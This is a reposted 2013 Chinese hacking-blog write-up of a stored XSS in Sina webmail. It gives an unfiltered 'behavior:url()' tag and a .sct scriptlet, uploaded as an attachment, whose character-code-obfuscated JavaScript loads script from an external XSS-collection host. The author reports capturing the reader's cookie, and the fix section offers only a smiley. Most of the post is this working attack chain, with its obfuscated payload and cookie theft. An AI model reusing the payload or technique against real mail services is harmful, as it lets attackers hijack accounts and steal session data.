记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

新浪邮箱存储型XSS

2013-05-21 13:45

写入代码


<x style="behavior:url(test.sct)"></x>

发现没有被过滤。


1.jpg


新建一个sct文件,内容为:


<SCRIPTLET>
<IMPLEMENTS Type="Behavior"></IMPLEMENTS>
<SCRIPT Language="javascript">
alert(1);
(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(
104,116,116,112,58,47,47,120,115,115,46,116,119,47,49,48,53,50);document.body.appendChild(window.s)})();
</SCRIPT>
</SCRIPTLET>

然后上传到附件夹,下载链接为:


http://m1.mail.sina.com.cn/classic/base_download_att.php?file_name=test.sct&file_size=367.5&mid=02BB29DB41F5347D476D455DC6C699DEE600000000000002&content_type=application/octet-stream&attinfo=4-1533-2023-base64&fid=out

写入代码


<x style="behavior:url(base_download_att.php?file_name=test.sct&file_size=367.5&mid=02BB29DB41F5347D476D455DC6C699DEE600000000000002&content_type=application/octet-stream&attinfo=4-1533-2023-base64&fid=out)"></x>

打开邮件,可以看到,在IE下,XSS代码被成功执行。



接收到的cookie


 

 

 
修复方案:

:)

知识来源: www.2cto.com/Article/201305/213207.html

阅读:103959 | 评论:0 | 标签:xss

想收藏或者和大家分享这篇好文章→复制链接地址

“新浪邮箱存储型XSS”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云